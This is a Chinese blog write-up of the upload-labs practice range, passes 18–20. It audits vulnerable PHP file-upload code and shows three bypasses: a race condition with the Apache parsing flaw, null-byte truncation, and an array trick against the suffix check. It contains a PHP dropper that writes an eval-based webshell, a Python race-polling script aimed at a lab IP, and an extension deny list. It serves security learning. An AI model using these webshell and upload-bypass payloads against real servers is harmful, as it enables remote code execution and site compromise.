if (isset($_POST['submit']))
{
require_once("./myupload.php"); // 包含这个php文件
$imgFileName =time(); // 获取当前时间
// 创建一个对象,获取上传文件的文件名、临时文件名、文件的大小和当前系统时间
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{ // 这里定义了可以上传的文件
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir ); // 设置目录
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension(); // 检查后缀
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize(); // 检查文件大小
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists(); // 检查文件是否存在
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move(); // 移动文件
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile(); // 重命名文件
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
看到上面的代码我都有点懵了,因为我不认识,但是看对象的名字 也就知道这段代码的作用了(这里感谢🌞作者给出的命名规范),上面先是判断文件的后缀是否符合,文件是否存在然后移动文件之后再重命名,所以这里也可能存在 条件竞争 ,因为改名在移动的后面,只要绕过后缀检测,再快速的访问文件,就有可能没改成文件名。但是为什么会执行代码呢? 因为这里可能是存在apache文件解析漏洞(从右到左依次解析),所以和解析漏洞配合使用。和上面一题一样,无限上传然后配合文件包含漏洞无限访问上传的文件,一直到成功访问且生成一个shell文件。
这里顺便贴上我不怎么滴的py代码
## 在没有把握一次成功的时候,建议先使用 有限循环测试,没问题之后再进行无限循环,避免把电脑搞崩(跑到一定程度上py会自动退出)
# !/usr/bin/env python3
# -*- coding:'UTF-8' -*-
#===============================================================================
# @Filename: upload-labs.py
# @Version: v0.1
# @Author: 0ne0ay
# @Email: one0ay@163.com
# @Time: 2022-04-20 23:02:29
# @Note: upload-labs Pass-17~18
#===============================================================================
import requests
payload = 'http://192.168.93.128/upload/wfile_post_cmd.php.7z' // 这里写访问的文件地址
# n = 1
''':return while 有限循环100次将True改为 n < 100,将注释n部分去掉'''
while True:
request = requests.get(payload)
status = request.status_code
if status == 200:
print('webshell.php已生成,访问状态码:', status) // 生成shell后会自动退出循环
break
else:
# n += 1
print('还在访问中........',status)
continue
print('END')
# php_shell 代码
<?php
fputs(fopen('webshell.php', 'w'),'<?php @eval($_POST["cmd"])?>');
?>
前面试了好几次,都没跑出来,感谢这位【博主】的文章,让我又少走了弯路。这题中可能存在一个小Bug也可能是故意的,文件直接上传到了 根目录下,所以访问 upload 下怎么访问都没有用。
修改 靶场源码,添加个 ‘/’ 就可以将bug修复。
现在来测试下生成的webshell能不能用了。
方法:apache解析漏洞配合条件竞争
Pass-19
上传了一个php文件测试了一下,发现这里把名字改成了下面标红的部分,这个部分的名字可以自定义,但是后缀必须符合要求,不然不能保存。
我将保存的文件名进行修改,利用 00截断 试图绕过这个限制,当保存文件的名字的时候,遇到截断后,只保存0x00前面的部分。
当发送数据包之后再查看一下。
只保存了0x00前面的部分,这样shell就上传上去了,访问我们截断的文件就行。
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) { // 黑名单
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name']; // 获取输入的文件名
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION); // pathinfo() 返回文件路径的信息,PATHINFO_EXTENSION 指定返回路径中最后一个。
if(!in_array($file_ext,$deny_ext)) { // 判断后缀是否存在于黑名单
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
在 pathinfo 这里就存在漏洞,他只保存上传文件的最后的部分作为后缀和过滤,上面使用 00截断 后,文件保存的时候不会保存 00 之后的字符串,只保存了前面。
方法:0x00 截断
Pass-20
看似和上面一个一样,测试测试就知道了。
直接被拦截了,说明这对上传的文件进行了校验,具体在那个位置校验就需要再测试了。
MIME、后缀、文件头
测试修改了下 Content-Type 字段,文件就上传成功了,再试试 0x00 截断。
果然,这里 00截断 就不能用了,测试了0a也不行,还是先看看源码
# 源码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
// 如果没有定义名字则使用文件名,否则使用定义的名字
1) if (!is_array($file)) { // 判断 $file 是不是数组,上传的文件肯定不是数组,所以 !is_array($file) 就是True(漏洞就在这块了)
$file = explode('.', strtolower($file)); // 使用 '.' 将字符串分隔开,返回数组,strtolower() 将字符串转化为小写
}
$ext = end($file); // 取出数组中最后一个值(.后面的值)
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1]; // reset 将获得文件的名称,再和count之后得到的后缀拼接
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
1)的位置判断传入的值是不是数组,如果不是就使用explode用点分隔成数组,但是没有进行 如果 $file 是数组的情况,先捋一下是数组的代码运行。
# $file 是数组情况
if (!is_array($file)) { // 判断 $file 是不是数组,上传的文件肯定不是数组,所以 !is_array($file) 就是True(漏洞就在这块了)
$file = explode('.', strtolower($file)); // 使用 '.' 将字符串分隔开,返回数组,strtolower() 将字符串转化为小写
}
// 如果 $file 是数组,那上面 explode语句就不会执行,而是直接执行下面的语句块
ext = end($file); // 取出数组中最后一个值(.后面的值)
// 利用数组绕过这里的判断
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1]; // reset 将获得文件的名称,再和count之后得到的后缀拼接
// 这里的 $file 如果是个数组,则count($file)-1 就可以改成空
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
## 部分 PHP 函数
end — 将数组的内部指针指向最后一个单元
reset — 将数组的内部指针指向第一个单元
count — 统计数组、Countable 对象中所有元素的数量
explode — 使用一个字符串分割另一个字符串
利用数组的性质,将 save_name 以索引的形式传入值,save_name[0] 会被 reset( f i l e ) 指 向 , s a v e n a m e [ 2 ] 会 在 e n d ( ) 函 数 中 被 指 向 , 由 此 可 以 绕 过 后 缀 的 校 验 , 而 在 拼 接 的 时 候 ∗ ∗ c o u n t ( file) 指向,save_name[2] 会在 end() 函数中被指向,由此可以绕过后缀的校验,而在拼接的时候 **count( file)指向,savename[2]会在end()函数中被指向,由此可以绕过后缀的校验,而在拼接的时候∗∗count(file) == 2**,所以 $file[2-1] 索引的位置是空的,最后 拼接成了 info.php. 成功绕过。
访问shell文件。
方法:代码审计
总结
upload-labs 靶场就练完了,总结下来,还是学习到不少东西,大部分的漏洞造成原因基本是在于代码上的逻辑漏洞,攻击者再配合不同操作系统的特性和中间件的一些配置错误造成的漏洞利用最终可以达到getshell的目的,如果站点过滤的手段是黑名单的话,安全性可能要比白名单低很多,对于黑名单的绕过方法有很多,白名单相对来说少一点,大部分都是配合系统或者中间件的漏洞进行攻击。
对php的函数了解太少了,代码审计起来比较困难,学习的道路还长,还得努力。以上Pass中如果有发现哪些Pass有疑惑或者发现错误的,希望留下你的思路。
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582262.html